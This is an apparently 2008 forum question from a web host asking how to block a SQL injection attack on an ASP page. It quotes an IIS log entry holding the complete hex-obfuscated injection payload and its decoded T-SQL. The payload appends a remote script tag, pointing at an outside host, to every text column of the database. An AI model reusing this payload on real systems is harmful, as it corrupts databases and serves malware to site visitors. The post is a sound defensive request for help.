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06.30.2008 at 10:06AM PDT, ID: 23527582
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8.1

Blocking a sql injection attack in ASP

Asked by bcconner in Microsoft IIS Web Server, Miscellaneous Security, SQL Server 2005

Tags: , , ,

Hi,

One of the sites we host in IIS has a SQL Server database.  I have been getting attacked by a group who inserts scripts into the character fields.  I wrote a routine to strip them out, but wasn't able to find how they were doing this until now.  Here's a sample of the log file for how they are doing it.  The site name was intentionally blocked.

2008-06-21 16:26:01 189.5.213.241 - W3SVC14 IIS 10.0.6.1 80 GET /ViewPage.asp did=65;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626E726164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 200 0 0 1421 609 HTTP/1.1 www.abcdef.com Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - -

If you take the hex code they are passing along and translate it, you get:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sys
objects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.x
type=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UP
DATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.bnradw.com/b.js
></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

I have to give them credit, this was rather clever.  This particular ASP page doesn't have any forms on it.   It just generates pages from the database.

Any suggestions on how to shut these folks down?  I blocked the IP addresses at the router to buy time, but I'm sure they will find other ways to get here.

Environment:  Windows 2000 AS, IIS 5.0, SQL Server 2000.

Thanks much!

--BenStart Free Trial
 
Keywords: Blocking a sql injection attack in ASP
Title
1 Dynamic SQL / Stored Procedure and…
2 banner82 sql injection
3 Long SQL Injection
4 Irregular behavior of @@Fetch_Status
5 sql script injection
6 SQL injection protection
 
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[+][-]06.30.2008 at 10:51AM PDT, ID: 21901346

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[+][-]07.02.2008 at 05:52AM PDT, ID: 21915791

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About this solution

Zones: Microsoft IIS Web Server, Miscellaneous Security, SQL Server 2005
Tags: Microsoft, SQL Server/IIS, 2000 / 5.0, sql injection attack
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Solution Provided By: DanielWilson
Participating Experts: 1
Solution Grade: A
 
 
[+][-]07.02.2008 at 04:47PM PDT, ID: 21921772

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